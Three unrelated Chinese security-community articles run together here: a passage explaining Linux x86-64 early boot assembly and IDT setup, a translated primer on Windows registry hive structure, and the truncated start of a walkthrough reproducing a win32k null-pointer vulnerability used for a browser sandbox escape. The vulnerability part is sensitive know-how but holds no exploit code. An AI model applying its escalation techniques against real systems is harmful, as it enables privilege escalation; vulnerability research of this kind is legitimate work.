mode`做好准备，并且直接跳转进入长模式：
.code32
.text
#include <linux/init.h>
#include <linux/linkage.h>
#include <asm/segment.h>
#include <asm/boot.h>
#include <asm/msr.h>
#include <asm/processor-flags.h>
#include <asm/asm-offsets.h>
#include <asm/bootparam.h>
#include "pgtable.h"
/*
* Locally defined symbols should be marked hidden:
*/
.hidden _bss
.hidden _ebss
.hidden _got
.hidden _egot
__HEAD
.code32
SYM_FUNC_START(startup_32)
/*
* 32bit entry is 0 and it is ABI so immutable!
* 32bit 的条目是 0 ，它是 Application binary interface ，因此它的值是静态的！
* If we come here directly from a bootloader,
* kernel(text+data+bss+brk) ramdisk, zero_page, command line
* all need to be under the 4G limit.
*/
cld
/*
* Test KEEP_SEGMENTS flag to see if the bootloader is asking
* us to not reload segments
*/
testb $KEEP_SEGMENTS, BP_loadflags(%esi)
jnz 1f
cli
movl $(__BOOT_DS), %eax
movl %eax, %ds
movl %eax, %es
movl %eax, %ss
1:
/*
* Calculate the delta between where we were compiled to run
* at and where we were actually loaded at. This can only be done
* with a short local call on x86. Nothing else will tell us what
* address we are running at. The reserved chunk of the real-mode
* data at 0x1e4 (defined as a scratch field) are used as the stack
* for this calculation. Only 4 bytes are needed.
*/
leal (BP_scratch+4)(%esi), %esp
call 1f
1: popl %ebp
subl $1b, %ebp
/* setup a stack and make sure cpu supports long mode. */
movl $boot_stack_end, %eax
addl %ebp, %eax
movl %eax, %esp
call verify_cpu
testl %eax, %eax
jnz .Lno_longmode
/*
* Compute the delta between where we were compiled to run at
* and where the code will actually run at.
*
* %ebp contains the address we are loaded at by the boot loader and %ebx
* contains the address where we should move the kernel image temporarily
* for safe in-place decompression.
*/
#ifdef CONFIG_RELOCATABLE
movl %ebp, %ebx
movl BP_kernel_alignment(%esi), %eax
decl %eax
addl %eax, %ebx
notl %eax
andl %eax, %ebx
cmpl $LOAD_PHYSICAL_ADDR, %ebx
jge 1f
#endif
movl $LOAD_PHYSICAL_ADDR, %ebx
1:
/* Target address to relocate to for decompression */
movl BP_init_size(%esi), %eax
subl $_end, %eax
addl %eax, %ebx
/*
* Prepare for entering 64 bit mode
*/
/* Load new GDT with the 64bit segments using 32bit descriptor */
addl %ebp, gdt+2(%ebp)
lgdt gdt(%ebp)
/* Enable PAE mode */
movl %cr4, %eax
orl $X86_CR4_PAE, %eax
movl %eax, %cr4
/*
* Build early 4G boot pagetable
*/
/*
* If SEV is active then set the encryption mask in the page tables.
* This will insure that when the kernel is copied and decompressed
* it will be done so encrypted.
*/
call get_sev_encryption_bit
xorl %edx, %edx
testl %eax, %eax
jz 1f
subl $32, %eax /* Encryption bit is always above bit 31 */
bts %eax, %edx /* Set encryption mask for page tables */
1:
/* Initialize Page tables to 0 */
leal pgtable(%ebx), %edi
xorl %eax, %eax
movl $(BOOT_INIT_PGT_SIZE/4), %ecx
rep stosl
/* Build Level 4 */
leal pgtable + 0(%ebx), %edi
leal 0x1007 (%edi), %eax
movl %eax, 0(%edi)
addl %edx, 4(%edi)
/* Build Level 3 */
leal pgtable + 0x1000(%ebx), %edi
leal 0x1007(%edi), %eax
movl $4, %ecx
1: movl %eax, 0x00(%edi)
addl %edx, 0x04(%edi)
addl $0x00001000, %eax
addl $8, %edi
decl %ecx
jnz 1b
/* Build Level 2 */
leal pgtable + 0x2000(%ebx), %edi
movl $0x00000183, %eax
movl $2048, %ecx
1: movl %eax, 0(%edi)
addl %edx, 4(%edi)
addl $0x00200000, %eax
addl $8, %edi
decl %ecx
jnz 1b
/* Enable the boot page tables */
leal pgtable(%ebx), %eax
movl %eax, %cr3
/* Enable Long mode in EFER (Extended Feature Enable Register) */
movl $MSR_EFER, %ecx
rdmsr
btsl $_EFER_LME, %eax
wrmsr
/* After gdt is loaded */
xorl %eax, %eax
lldt %ax
movl $__BOOT_TSS, %eax
ltr %ax
/*
* Setup for the jump to 64bit mode
*
* When the jump is performend we will be in long mode but
* in 32bit compatibility mode with EFER.LME = 1, CS.L = 0, CS.D = 1
* (and in turn EFER.LMA = 1). To jump into 64bit mode we use
* the new gdt/idt that has __KERNEL_CS with CS.L = 1.
* We place all of the values on our mini stack so lret can
* used to perform that far jump.
*/
pushl $__KERNEL_CS
leal startup_64(%ebp), %eax
#ifdef CONFIG_EFI_MIXED
movl efi32_boot_args(%ebp), %edi
cmp $0, %edi
jz 1f
leal efi64_stub_entry(%ebp), %eax
movl %esi, %edx
movl efi32_boot_args+4(%ebp), %esi
1:
#endif
pushl %eax
/* Enter paged protected Mode, activating Long Mode */
movl $(X86_CR0_PG | X86_CR0_PE), %eax /* Enable Paging and Protected mode */
movl %eax, %cr0
/* Jump from 32bit compatibility mode into 64bit mode. */
lret
SYM_FUNC_END(startup_32)
处理器进入长模式后将跳入`startup_64`函数
.code64
.org 0x200
SYM_CODE_START(startup_64)
/*
* 64bit entry is 0x200 and it is ABI so immutable!
* We come here either from startup_32 or directly from a
* 64bit bootloader.
* If we come here from a bootloader, kernel(text+data+bss+brk),
* ramdisk, zero_page, command line could be above 4G.
* We depend on an identity mapped page table being provided
* that maps our entire kernel(text+data+bss+brk), zero page
* and command line.
*/
/* Setup data segments. */
xorl %eax, %eax
movl %eax, %ds
movl %eax, %es
movl %eax, %ss
movl %eax, %fs
movl %eax, %gs
/*
* Compute the decompressed kernel start address. It is where
* we were loaded at aligned to a 2M boundary. %rbp contains the
* decompressed kernel start address.
*
* If it is a relocatable kernel then decompress and run the kernel
* from load address aligned to 2MB addr, otherwise decompress and
* run the kernel from LOAD_PHYSICAL_ADDR
*
* We cannot rely on the calculation done in 32-bit mode, since we
* may have been invoked via the 64-bit entry point.
*/
/* Start with the delta to where the kernel will run at. */
#ifdef CONFIG_RELOCATABLE
leaq startup_32(%rip) /* - $startup_32 */, %rbp
movl BP_kernel_alignment(%rsi), %eax
decl %eax
addq %rax, %rbp
notq %rax
andq %rax, %rbp
cmpq $LOAD_PHYSICAL_ADDR, %rbp
jge 1f
#endif
movq $LOAD_PHYSICAL_ADDR, %rbp
1:
/* Target address to relocate to for decompression */
movl BP_init_size(%rsi), %ebx
subl $_end, %ebx
addq %rbp, %rbx
/* Set up the stack */
leaq boot_stack_end(%rbx), %rsp
/*
* paging_prepare() and cleanup_trampoline() below can have GOT
* references. Adjust the table with address we are running at.
*
* Zero RAX for adjust_got: the GOT was not adjusted before;
* there's no adjustment to undo.
*/
xorq %rax, %rax
/*
* Calculate the address the binary is loaded at and use it as
* a GOT adjustment.
*/
call 1f
1: popq %rdi
subq $1b, %rdi
call .Ladjust_got
/*
* At this point we are in long mode with 4-level paging enabled,
* but we might want to enable 5-level paging or vice versa.
*
* The problem is that we cannot do it directly. Setting or clearing
* CR4.LA57 in long mode would trigger #GP. So we need to switch off
* long mode and paging first.
*
* We also need a trampoline in lower memory to switch over from
* 4- to 5-level paging for cases when the bootloader puts the kernel
* above 4G, but didn't enable 5-level paging for us.
*
* The same trampoline can be used to switch from 5- to 4-level paging
* mode, like when starting 4-level paging kernel via kexec() when
* original kernel worked in 5-level paging mode.
*
* For the trampoline, we need the top page table to reside in lower
* memory as we don't have a way to load 64-bit values into CR3 in
* 32-bit mode.
*
* We go though the trampoline even if we don't have to: if we're
* already in a desired paging mode. This way the trampoline code gets
* tested on every boot.
*/
/* Make sure we have GDT with 32-bit code segment */
leaq gdt(%rip), %rax
movq %rax, gdt64+2(%rip)
lgdt gdt64(%rip)
/*
* paging_prepare() sets up the trampoline and checks if we need to
* enable 5-level paging.
*
* paging_prepare() returns a two-quadword structure which lands
* into RDX:RAX:
* - Address of the trampoline is returned in RAX.
* - Non zero RDX means trampoline needs to enable 5-level
* paging.
*
* RSI holds real mode data and needs to be preserved across
* this function call.
*/
pushq %rsi
movq %rsi, %rdi /* real mode address */
call paging_prepare
popq %rsi
/* Save the trampoline address in RCX */
movq %rax, %rcx
/*
* Load the address of trampoline_return() into RDI.
* It will be used by the trampoline to return to the main code.
*/
leaq trampoline_return(%rip), %rdi
/* Switch to compatibility mode (CS.L = 0 CS.D = 1) via far return */
pushq $__KERNEL32_CS
leaq TRAMPOLINE_32BIT_CODE_OFFSET(%rax), %rax
pushq %rax
lretq
trampoline_return:
/* Restore the stack, the 32-bit trampoline uses its own stack */
leaq boot_stack_end(%rbx), %rsp
/*
* cleanup_trampoline() would restore trampoline memory.
*
* RDI is address of the page table to use instead of page table
* in trampoline memory (if required).
*
* RSI holds real mode data and needs to be preserved across
* this function call.
*/
pushq %rsi
leaq top_pgtable(%rbx), %rdi
call cleanup_trampoline
popq %rsi
/* Zero EFLAGS */
pushq $0
popfq
/*
* Previously we've adjusted the GOT with address the binary was
* loaded at. Now we need to re-adjust for relocation address.
*
* Calculate the address the binary is loaded at, so that we can
* undo the previous GOT adjustment.
*/
call 1f
1: popq %rax
subq $1b, %rax
/* The new adjustment is the relocation address */
movq %rbx, %rdi
call .Ladjust_got
/*
* Copy the compressed kernel to the end of our buffer
* where decompression in place becomes safe.
*/
pushq %rsi
leaq (_bss-8)(%rip), %rsi
leaq (_bss-8)(%rbx), %rdi
movq $_bss /* - $startup_32 */, %rcx
shrq $3, %rcx
std
rep movsq
cld
popq %rsi
/*
* Jump to the relocated address.
*/
leaq .Lrelocated(%rbx), %rax
jmp *%rax
SYM_CODE_END(startup_64)
在这里将完成内核解压的准备工作。内核解压的主函数代码位于`/source/arch/x86/boot/compressed/misc.c`中的
`decompress_kernel`函数中，此处不再分析。
内核解压完成以后，程序返回`secondary_startup_64`函数(实现于`/source/arch/x86/kernel/head_64.S`)。在这个函数中，我们开始构建
`identity-mapped pages`，并在那之后检查NX位，配置 `Extended Feature Enable Register`，使用
`lgdt`指令更新早期的`Global Descriptor Table`。
SYM_CODE_START(secondary_startup_64)
UNWIND_HINT_EMPTY
/*
* At this point the CPU runs in 64bit mode CS.L = 1 CS.D = 0,
* and someone has loaded a mapped page table.
*
* %rsi holds a physical pointer to real_mode_data.
*
* We come here either from startup_64 (using physical addresses)
* or from trampoline.S (using virtual addresses).
*
* Using virtual addresses from trampoline.S removes the need
* to have any identity mapped pages in the kernel page table
* after the boot processor executes this code.
*/
/* Sanitize CPU configuration */
call verify_cpu
/*
* Retrieve the modifier (SME encryption mask if SME is active) to be
* added to the initial pgdir entry that will be programmed into CR3.
*/
pushq %rsi
call __startup_secondary_64
popq %rsi
/* Form the CR3 value being sure to include the CR3 modifier */
addq $(init_top_pgt - __START_KERNEL_map), %rax
1:
/* Enable PAE mode, PGE and LA57 */
movl $(X86_CR4_PAE | X86_CR4_PGE), %ecx
#ifdef CONFIG_X86_5LEVEL
testl $1, __pgtable_l5_enabled(%rip)
jz 1f
orl $X86_CR4_LA57, %ecx
1:
#endif
movq %rcx, %cr4
/* Setup early boot stage 4-/5-level pagetables. */
addq phys_base(%rip), %rax
movq %rax, %cr3
/* Ensure I am executing from virtual addresses */
movq $1f, %rax
ANNOTATE_RETPOLINE_SAFE
jmp *%rax
1:
UNWIND_HINT_EMPTY
/* Check if nx is implemented */
movl $0x80000001, %eax
cpuid
movl %edx,%edi
/* Setup EFER (Extended Feature Enable Register) */
movl $MSR_EFER, %ecx
rdmsr
btsl $_EFER_SCE, %eax /* Enable System Call */
btl $20,%edi /* No Execute supported? */
jnc 1f
btsl $_EFER_NX, %eax
btsq $_PAGE_BIT_NX,early_pmd_flags(%rip)
1: wrmsr /* Make changes effective */
/* Setup cr0 */
movl $CR0_STATE, %eax
/* Make changes effective */
movq %rax, %cr0
/* Setup a boot time stack */
movq initial_stack(%rip), %rsp
/* zero EFLAGS after setting rsp */
pushq $0
popfq
/*
* We must switch to a new descriptor in kernel space for the GDT
* because soon the kernel won't have access anymore to the userspace
* addresses where we're currently running on. We have to do that here
* because in 32bit we couldn't load a 64bit linear address.
*/
lgdt early_gdt_descr(%rip)
/* set up data segments */
xorl %eax,%eax
movl %eax,%ds
movl %eax,%ss
movl %eax,%es
/*
* We don't really need to load %fs or %gs, but load them anyway
* to kill any stale realmode selectors. This allows execution
* under VT hardware.
*/
movl %eax,%fs
movl %eax,%gs
/* Set up %gs.
*
* The base of %gs always points to fixed_percpu_data. If the
* stack protector canary is enabled, it is located at %gs:40.
* Note that, on SMP, the boot cpu uses init data section until
* the per cpu areas are set up.
*/
movl $MSR_GS_BASE,%ecx
movl initial_gs(%rip),%eax
movl initial_gs+4(%rip),%edx
wrmsr
/* rsi is pointer to real mode structure with interesting info.
pass it to C */
movq %rsi, %rdi
.Ljump_to_C_code:
/*
* Jump to run C code and to be on a real kernel address.
* Since we are running on identity-mapped space we have to jump
* to the full 64bit address, this is only possible as indirect
* jump. In addition we need to ensure %cs is set so we make this
* a far return.
*
* Note: do not change to far jump indirect with 64bit offset.
*
* AMD does not support far jump indirect with 64bit offset.
* AMD64 Architecture Programmer's Manual, Volume 3: states only
* JMP FAR mem16:16 FF /5 Far jump indirect,
* with the target specified by a far pointer in memory.
* JMP FAR mem16:32 FF /5 Far jump indirect,
* with the target specified by a far pointer in memory.
*
* Intel64 does support 64bit offset.
* Software Developer Manual Vol 2: states:
* FF /5 JMP m16:16 Jump far, absolute indirect,
* address given in m16:16
* FF /5 JMP m16:32 Jump far, absolute indirect,
* address given in m16:32.
* REX.W + FF /5 JMP m16:64 Jump far, absolute indirect,
* address given in m16:64.
*/
pushq $.Lafter_lret # put return address on stack for unwinder
xorl %ebp, %ebp # clear frame pointer
movq initial_code(%rip), %rax
pushq $__KERNEL_CS # set correct cs
pushq %rax # target address in negative space
lretq
.Lafter_lret:
SYM_CODE_END(secondary_startup_64)
这里我们着重关心设置 `gs`寄存器的代码:
/* Set up %gs.
*
* The base of %gs always points to fixed_percpu_data. If the
* stack protector canary is enabled, it is located at %gs:40.
* Note that, on SMP, the boot cpu uses init data section until
* the per cpu areas are set up.
*/
movl $MSR_GS_BASE,%ecx
movl initial_gs(%rip),%eax
movl initial_gs+4(%rip),%edx
wrmsr
`wrmsr`指令将`edx:eax`寄存器指定的地址中的数据写入到由`ecx`寄存器指定的`model specific
register`中。由代码可以看到，`ecx`中的值是`$MSR_GS_BASE`，该值在`/source/arch/x86/include/uapi/asm/msr-index.h`中定义:
#define MSR_GS_BASE 0xc0000101
由此可见，`MSR_GS_BASE`定义了 `model specific register`的编号。由于 `cs`, `ds`, `es`,和
`ss`在64-bit模式中不再使用，这些寄存器中的值将会被忽略，但我们可以通过 `fs`和 `gs`寄存器来访问内存空间。`model specific
register`提供了一种后门 `back door`来访问这些段寄存器，也让我们可以通过段寄存器 `fs`和
`gs`来访问64-bit的基地址。看起来这部分代码映射在 `GS.base`域中。再看到 `initial_gs`函数的定义:
// In /source/arch/x86/kernel/head_64.S#L265
SYM_DATA(initial_gs, .quad INIT_PER_CPU_VAR(fixed_percpu_data))
可以发现，`initial_gs` 指向 `fixed_percpu_data`，这段代码将 `fixed_percpu_data`传递给
`INIT_PER_CPU_VAR`宏，后者只是给输入参数添加了 `init_per_cpu__`前缀而已。在此得出了符号
`init_per_cpu__fixed_percpu_data`。再看到`/source/arch/x86/kernel/vmlinux.lds.S`中有如下定义:
/*
* Per-cpu symbols which need to be offset from __per_cpu_load
* for the boot processor.
*/
#define INIT_PER_CPU(x) init_per_cpu__##x = ABSOLUTE(x) + __per_cpu_load
INIT_PER_CPU(gdt_page);
INIT_PER_CPU(fixed_percpu_data);
INIT_PER_CPU(irq_stack_backing_store);
这段代码告诉我们符号 `init_per_cpu__fixed_percpu_data`的地址将会是 `fixed_percpu_data +
__per_cpu_load`。
`fixed_percpu_data`的定义出现在`/source/arch/x86/include/asm/processor.h#L437`中，其中的
`DECLARE_INIT_PER_CPU`宏展开后又调用了 `init_per_cpu_var`宏:
#ifdef CONFIG_X86_64
struct fixed_percpu_data {
/*
* GCC hardcodes the stack canary as %gs:40. Since the
* irq_stack is the object at %gs:0, we reserve the bottom
* 48 bytes of the irq stack for the canary.
*/
char gs_base[40];
// stack_canary 对于中断栈来说是一个用来验证栈是否已经被修改的栈保护者(stack protector)。
// gs_base 是一个 40 字节的数组，GCC 要求 stack canary在被修正过的偏移量上
// gs 的值在 x86_64 架构上必须是 40，在 x86 架构上必须是 20。
unsigned long stack_canary;
};
DECLARE_PER_CPU_FIRST(struct fixed_percpu_data, fixed_percpu_data) __visible;
DECLARE_INIT_PER_CPU(fixed_percpu_data);
// In /source/arch/x86/include/asm/percpu.h#L77
#define DECLARE_INIT_PER_CPU(var)
extern typeof(var) init_per_cpu_var(var)
// In /source/arch/x86/include/asm/percpu.h#L81
#ifdef CONFIG_X86_64_SMP
#define init_per_cpu_var(var) init_per_cpu__##var
#else
#define init_per_cpu_var(var) var
#endif
将所有的宏展开之后我们可以得到与之前相同的名称
`init_per_cpu__fixed_percpu_data`，但此时它不再只是一个符号，而成了一个变量。请注意表达式
`typeof(var)`,在此时 `var`是 `fixed_percpu_data`。
到此为止，我们定义了`ABSOLUTE(x) + __per_cpu_load`的第一个变量并且知道了它的地址。再看到第二个符号
`__per_cpu_load`，该符号定义在`/source/include/asm-generic/sections.h#L42`，这个符号定义了一系列
`per-cpu`变量:
extern char __per_cpu_load[], __per_cpu_start[], __per_cpu_end[];
这些符号代表了这一系列变量的数据区域的基地址，回到之前的代码中：
movl $MSR_GS_BASE,%ecx
movl initial_gs(%rip),%eax
movl initial_gs+4(%rip),%edx
wrmsr
这里通过 `MSR_GS_BASE`指定了一个平台相关寄存器，然后将 `initial_gs`的64-bit地址放到了
`edx:eax`段寄存器中，然后执行 `wrmsr`指令，将 `init_per_cpu__fixed_percpu_data`的基地址放入了
`gs`寄存器，而这个地址将是中断栈的栈底地址。
在此之后我们将进入
`x86_64_start_kernel`函数中，此函数定义在`/source/arch/x86/kernel/head64.c`。在这个函数中，将完成最后的准备工作，之后就要进入到与平台无关的通用内核代码，在这个过程中，会将中断服务程序入口地址填写到早期
`Interrupt Descriptor Table`中。
### 中断服务程序入口地址关联( `x86_64_start_kernel`函数分析)
asmlinkage __visible void __init x86_64_start_kernel(char * real_mode_data)
{
/*
* Build-time sanity checks on the kernel image and module
* area mappings. (these are purely build-time and produce no code)
*/
BUILD_BUG_ON(MODULES_VADDR < __START_KERNEL_map);
BUILD_BUG_ON(MODULES_VADDR - __START_KERNEL_map < KERNEL_IMAGE_SIZE);
BUILD_BUG_ON(MODULES_LEN + KERNEL_IMAGE_SIZE > 2*PUD_SIZE);
BUILD_BUG_ON((__START_KERNEL_map & ~PMD_MASK) != 0);
BUILD_BUG_ON((MODULES_VADDR & ~PMD_MASK) != 0);
BUILD_BUG_ON(!(MODULES_VADDR > __START_KERNEL));
MAYBE_BUILD_BUG_ON(!(((MODULES_END - 1) & PGDIR_MASK) ==
(__START_KERNEL & PGDIR_MASK)));
BUILD_BUG_ON(__fix_to_virt(__end_of_fixed_addresses) <= MODULES_END);
cr4_init_shadow();
/* Kill off the identity-map trampoline */
reset_early_page_tables();
clear_bss();
clear_page(init_top_pgt);
/*
* SME support may update early_pmd_flags to include the memory
* encryption mask, so it needs to be called before anything
* that may generate a page fault.
*/
sme_early_init();
kasan_early_init();
idt_setup_early_handler();
copy_bootdata(__va(real_mode_data));
/*
* Load microcode early on BSP.
*/
load_ucode_bsp();
/* set init_top_pgt kernel high mapping*/
init_top_pgt[511] = early_top_pgt[511];
x86_64_start_reservations(real_mode_data);
}
可以发现，这个过程和`IDT`初始化相关的逻辑位于`idt_setup_early_handler()`，我们接下来来看这个函数：
// In /source/arch/x86/kernel/idt.c#L331
/**
* idt_setup_early_handler - Initializes the idt table with early handlers
*/
void __init idt_setup_early_handler(void)
{
int i;
for (i = 0; i < NUM_EXCEPTION_VECTORS; i++)
set_intr_gate(i, early_idt_handler_array[i]);
#ifdef CONFIG_X86_32
for ( ; i < NR_VECTORS; i++)
set_intr_gate(i, early_ignore_irq);
#endif
load_idt(&idt_descr);
}
extern const char early_idt_handler_array[NUM_EXCEPTION_VECTORS][EARLY_IDT_HANDLER_SIZE];
可以发现，中断服务程序的入口地址以数组的形式存储，其中 `NUM_EXCEPTION_VECTORS` 和 `EARLY_IDT_HANDLER_SIZE`
的定义如下:
#define NUM_EXCEPTION_VECTORS 32
#define EARLY_IDT_HANDLER_SIZE 9
因此，数组 `early_idt_handler_array` 存放着中断服务程序入口，其中每个入口占据9个字节。`early_idt_handlers`
定义在文件`/source/arch/x86/kernel/head_64.S`中。`early_idt_handler_array`也定义在这个文件中:
SYM_CODE_START(early_idt_handler_array)
i = 0
.rept NUM_EXCEPTION_VECTORS
.if ((EXCEPTION_ERRCODE_MASK >> i) & 1) == 0
UNWIND_HINT_IRET_REGS
pushq $0 # Dummy error code, to make stack frame uniform
.else
UNWIND_HINT_IRET_REGS offset=8
.endif
pushq $i # 72(%rsp) Vector number
jmp early_idt_handler_common
UNWIND_HINT_IRET_REGS
i = i + 1
.fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc
.endr
UNWIND_HINT_IRET_REGS offset=16
SYM_CODE_END(early_idt_handler_array)
这里使用 `.rept NUM_EXCEPTION_VECTORS` 填充了 `early_idt_handler_array` ，其中也包含了
`early_make_pgtable`
的中断服务函数入口。现在我们已经分析完了所有`x86-64`平台相关的代码，即将进入通用内核代码中。当然，我们之后还会在 `setup_arch`
函数中重新回到平台相关代码，但这已经是 `x86_64` 平台早期代码的最后部分。
## 0x04 参考链接
[【原】Linux内核中断系统处理机制-详细分析 –
Bystander_J](https://blog.csdn.net/weixin_42092278/article/details/819894497)
[【原】GitBook – Linux Inside – 0xax](https://legacy.gitbook.com/book/0xax/linux-insides/details)
[【疑】中断解析](http://www.kerneltravel.net/journal/viii/01.htm)
(自本篇文章起，将会对所有的引用链接标注‘【原】’、‘【转/译】’、‘【疑】’三种标识，以表示引用的文章是否标明了原创或转载，若引用了其他作者转载的文章，将不再追溯至其原创作者，请注意，并非标明【疑】的均为非原创文章，仅表示文章出处未显示原创性，凡引用个人博客文章，除非文章标明转载或翻译，一律视为博主原创。) | 社区文章 |
# 注册表hive基础知识介绍－第一季
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://binaryforay.blogspot.com/2015/01/registry-hive-basics-part-2-nk-records.html>
译文仅供参考，具体内容表达以及含义原文为准。
在我们开始讲解之前，了解一下注册表hive的基本结构将会对你有很大的帮助。
**高级结构**
在注册表hive中，存在两个高级数据结构：header和hbin cells。
**注册表头**
注册表头的长度为4096(0x1000)个字节，其中包含有以下几个非常重要的信息：
l 签名
l 最后一次写入数据的时间戳
l 主版本号和次版本号
l Root cell偏移量
l 长度
l 文件名
虽然这些内容看起来并不是非常的复杂，但这些信息却是你在进一步了解hive结构的时候将会用到的东西。
我们通过WinHex打开了一个注册表hive之后，得到了下图中所包含的内容：
**签名**
我们可以在偏移量0x0处找到有关签名的信息，其长度为4个字节。签名信息为ASCII字符串“regf”，签名之后的内容即为整个hive文件的数据信息。
最后一次写入数据的时间戳
我们可以在偏移量0xc处找到最后一次写入数据的时间戳，系统使用了一个长度为64位的整数来对它进行存储，这个数值表示的是从UTC时间的1601年1月1日至今的100纳秒间隔数，这是一个Windows的FILETIME。
在上面的这张截图中，时间戳为0x01CE9F3B1ABB0041。你可以看到时间戳的数据在上图中是以逆序出现的。这是因为系统在存储它时采用的是小端存储格式。这个时间戳所代表的十进制数为130216515440672833
将此类十六进制数值按照正确的字节顺序直接输入类似DCode等工具之后，我们便能够直接得到确切的日期。我们将上图中时间戳的十六进制数值输入之后，便能得到UTC时间的日期－“2013年8月22日星期四，时间为13时25分44秒”。
在.net中，专门有一个用于将FILETIME转换为DateTimeOffset的函数。
在我的注册表分析程序中，所有的时间戳都被转换成了DateTimeOffset，这将可以使你更加容易地将时间戳转换成任意时区的时间，但系统默认为UTC时间。
**主版本号和次版本号**
偏移量0x14处开始即为主版本号的信息，系统采用了一个32位的整形数值来存储它。从偏移量0x18处开始即为次版本号的信息，数据长度与主板本一致。在上面的截图中你可以看到，系统同样采用了小端存储格式来存储这些数据。
版本号是非常重要的一个信息，因为系统的某些行为和功能只有在特定的版本中才会存在。比如说，在1.4版本以及更高的版本之中，系统存储大数据的时候所采用的存储方式与1.4以下版本所采用的方式是不一样的。当我们讨论用于存储数值的vk
cell记录时我们将会看到更多这样的情况。
**Root cell偏移量**
从0x24处开始即为有关root cell偏移量的信息，系统通过一个32位长度的无符号整数来存储这一数据。
注册表中使用了很多无符号整数，所以我们首先得了解一下有符号整数与无符号整数之间有什么区别。无符号整数只能是整数，一个32位长度的无符号整数最大值为4,294,967,295。这也就意味着一个无符号整数的数值大小只能在0至4,294,967,295之间。
首先我们得回顾一下一些简单的知识，既然我们已经讨论了32位长的数值，那么我们现在就可以将32除以8，这样就可以得到数据的字节数，即4。
在十六进制数中，一个32位长度的无符号整形的最大值为0xFFFFFFFF，总共有八个F。整个数据长度为4个字节(FF FF FF
FF),4字节乘以8即为32位。
对于有符号整数而言，从0开始数轴的左边即为负数。在32位长度的有符号整数中，其最小值为–2,147,483,648，最大值为2,147,483,647。正如你所猜测的那样，将这两个数的绝对值相加，得到的正是4,294,967,295。
当我们涉及到不同的cell以及list记录时（尤其是数据大小），正数和负数之间的对比是至关重要的。
让我们重新回到root cell偏移量上，在上面的截图中，root偏移量为0x20，这是root
cell的相对位置。在注册表中所有的偏移量都是相对于第一个hbin记录而言的（关于这部分的信息，我们将会在讲解完注册表头的内容之后给大家详细介绍）。
在此，我要提醒大家一下，hive头部的长度为4096（0x1000）个字节。这也就意味着偏移量0x1000处的内容为第一个hbin
cell的信息。如果要计算root
cell的绝对位置，我们还必须加上0x1000，即得到0x20。结果即为偏移量0x1200，对偏移量进行进一步的分析，我们就可以得到root
cell的数据结构了。
正如你所看到的那样，在上图中，偏移量0x1000处开始即为hbin的头部数据，我们的root cell就在hbin
cell之中。我们将会在接下来的文章中对hbin cells进行进一步讲解。
**长度**
偏移量0x28处的数据即为注册表hive的长度。系统同样使用了一个32位长度的无符号整数来存储这一数据，该数据表示的是在这个注册表hive中，当前所有正在使用的hbin
cells的大小。在第一张截图中，我们可以看到其长度为0x0086F000或8,843,264个字节。
但需要注意的是，这个大小与磁盘中注册表hive的大小并不相同。这一数值中并不包含注册表头的大小，除此之外，也不包含注册表hive结尾处的一些其他数据。
数据长度可以保证注册表分析程序能能够完整读取注册表hive中所有正在使用的数据域。我的注册表分析器可以利用这个数据来校验读取到的数据字节长度。在某些情况下，长度域中有可能会存在一些错误的数据或者是零。在这种情况下，我的注册表分析器将会对这些数据进行检测，如果全部为零，那么这段数据将会被忽略不计。如果程序检测到非零数据，程序将会以警告的形式进行报告。
**文件名**
文件名是内嵌在注册表中的。我们可以在偏移量0x30处找到它。系统采用的是UTF－16的小端存储格式来对其进行存储，字符串以NUL字符结尾。在第一张截图中，我们可以看到文件名为“??C:Usersericntuser.dat”，从中我们可以了解到用户的配置文件。
在其他的注册表hive中并不包含绝对路径，但我们可以在最右边的部分看到文件名的信息。下图所给出的信息就是一个例子：
这是System32Config中的一个SOFTWARE hive。
hbin cells
hbin cells是一个“容器”，它可以存储注册表hives中所有其他的记录。
hbin cells包含了下面几项重要的信息：
l 签名
l 文件偏移(FileOffset)
l 数据大小
虽然这些内容看起来并不是非常的复杂，但这些信息却是非常重要的。
我们通过WinHex打开了一个注册表hive之后，得到了下图所显示出来的内容：
**签名**
我们可以在hbin cell中偏移量0x0处找到签名信息，其长度为4个字节。我们可以看到一个ASCII字符串“hbin”，所有hbin
cells的数据都是从这个签名处开始的。
**文件偏移(FileOffset)**
FileOffset是相对偏移。我们可以在hbin cell中相对偏移量0x4处找到它，系统采用了一个32位长度的无符号整数来对它进行存储。
在上面这张截图中，我们可以看到偏移量0x00000000。既然这是第一个hbin cell，那么相对偏移量当然是0了。如果需要计算hbin
cell的绝对偏移量，只需要用FileOffset加上0x1000即可得到。
**数据大小**
数据大小可以在hbin
cell中的相对偏移量0x8处找到。在上面所给出的例子中，数据大小为0x1000（同样采用的是小端存储格式）。0x1000的十进制数值为4096.大多数的hbin
cells为0x1000个字节，但这并不是绝对的。
现在，你应该已经了解了注册表的基本结构了，那么我们将会进一步给大家介绍一些更加有趣的内容，例如注册表项（以及子项），值，以及包含这些数据的列表等等。
我们将会在第二季中给大家介绍NK记录。 | 社区文章 |
**作者：Kerne7@知道创宇404实验室
时间：2020年9月28日**
### 前言
选择这个漏洞的原因是和之前那个cve-2019-5786是在野组合利用的，而且互联网上这个漏洞的资料也比较多，可以避免在踩坑的时候浪费过多的时间。
首先跟据 Google 的博客，我们可以了解到这个漏洞在野外被用作在windows7 32位系统上的浏览器沙盒逃逸，并且可以定位到漏洞函数
win32k！MNGetpItemFromIndex 。
在复现漏洞之前有几个问题浮现出来了，首先这个漏洞被用作沙盒逃逸，那么浏览器沙盒逃逸有哪几种方式？这个漏洞除了沙盒逃逸还可以用来做什么？其次空指针解引用的漏洞如何利用？这些可以通过查阅相关资料来自行探索。
### 从poc到寻找漏洞成因
在我分析这个漏洞的时候已经有人公布了完整的利用链，包括该漏洞的 poc 、 exp 和浏览器利用的组合拳。但是本着学习的目的，我们先测试一下这个 poc
，看下漏洞是如何触发的。搭建双机调试环境之后，运行 poc 导致系统 crash ，通过调试器我们可以看到
加载符号之后查看一下栈回溯.
可以看到大概是在 NtUserMNDragOver 之后的调用流程出现了问题，可能是符号问题我在查看了 Google 的博客之后没有搜索到
MNGetpItemFromIndex 这个函数，从栈回溯可以看到最近的这个函数是 MNGetpItem ，大概就是在这个函数里面。
大概看了下函数触发顺序之后，我们看下poc的代码是如何触发crash的。首先看下poc的代码流程。
首先获取了两个函数的地址 NtUserMNDragOver 和 NtAllocateVirtualMemory ，获取这两个函数的地址是因为参考栈回溯中是由
win32k!NtUserMNDragOver
